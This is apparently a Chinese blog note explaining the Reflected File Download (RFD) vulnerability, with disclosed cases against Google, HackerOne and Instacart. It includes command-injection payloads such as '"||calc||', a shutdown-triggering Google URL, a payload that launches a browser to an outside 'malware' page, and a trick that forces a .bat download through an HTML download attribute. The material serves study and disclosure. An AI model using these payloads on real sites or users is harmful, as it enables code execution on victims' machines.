RFD(反射型文件下載)漏洞原理及實戰案例全匯總

  • 2019 年 10 月 10 日
  • 筆記

1、概念

RFD,即Reflected File Download反射型文件下載漏洞,是一個2014年來自BlackHat的漏洞。這個漏洞在原理上類似XSS,在危害上類似DDE:攻擊者可以通過一個URL地址使用戶下載一個惡意文件,從而危害用戶的終端PC。

這個漏洞很罕見,大多數公司會認為它是一個需要結合社工的低危漏洞,但微軟,雅虎,eBay,PayPal和其他許多公司認為這是一個中危漏洞。

2、漏洞原理

先從一個實例理解RFD漏洞,如Google搜索的返回包是json格式:

可見我們的輸入在返回包處反射輸出,如果輸入payload」||calc||,返回:

到這仍沒什麼問題,但如果我們嘗試在命令行里運行這個回顯內容,如

{"result":["q","rfd"||calc||","jayway"]}

發現在顯示「文件名或目錄不存在」的同時,會執行我們的管道符後的命令calc,彈出計算器。解析過程實際為:

所以和DDE的攻擊方法類似,我們最終要是讓回顯內容作為一個bat文件下載,這可以通過分號;或結合社會工程的方式實現:

註:URL中分號;是個保留字元,類似連接符,現已廢除。

3、漏洞挖掘

根據漏洞觸發的三個條件挖掘漏洞:

1)輸入反射:用戶輸入被「反射」到響應內容。

2)文件名可控: URL允許並接受用戶的其他輸入,攻擊者將其用於將文件擴展名設置為可執行擴展名。

3)下載:響應被作為文件里的內容進行下載,這裡可以控制Content-Type或者在自己的伺服器上創建一個HTML文件,設置download屬性,誘導點擊下載。

4、實戰案例:

1) Google

這是Oren Hafif在google利用的例子。在facebook中插入的一個google超鏈接,如下形式內容:

https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….點擊後會下載一個bat文件到本地,下載後直接運行效果如下:

成功執行了一個shutdown命令,先用了一個雙引號閉合掉前面的不可控的雙引號,然後利用||符號(命令行中||表示邏輯「或」)保證命令成功執行。

2) Hackerone

在編輯欄位中輸入text"|| calc ||:

保存,回到編輯543數據edit頁面:

保留參數543,刪除/edit,追加點.發現得到json回顯,這裡加上.bat:

由於因為這個鏈接返回json值而不是下載,所以這裡可以在自己的伺服器構造一個釣魚html文件,設置為download屬性,自動下載bat文件:

用戶點擊文件,因為鏈接來自可信地址,所以容易中招:

3) Instacart

關注json返回包,請求

https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1

發現term參數回顯:

{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}

將term參數設為:

"||start chrome davidsopas.com/poc/malware.htm||

創建html文件誘導下載:

當前,業界對RFD這個漏洞見解不一,危害上可能接近於self-xss,但結合社工等手段尤其在社交場合能造成的危害還是可以很大的,原PDF可閱讀原文。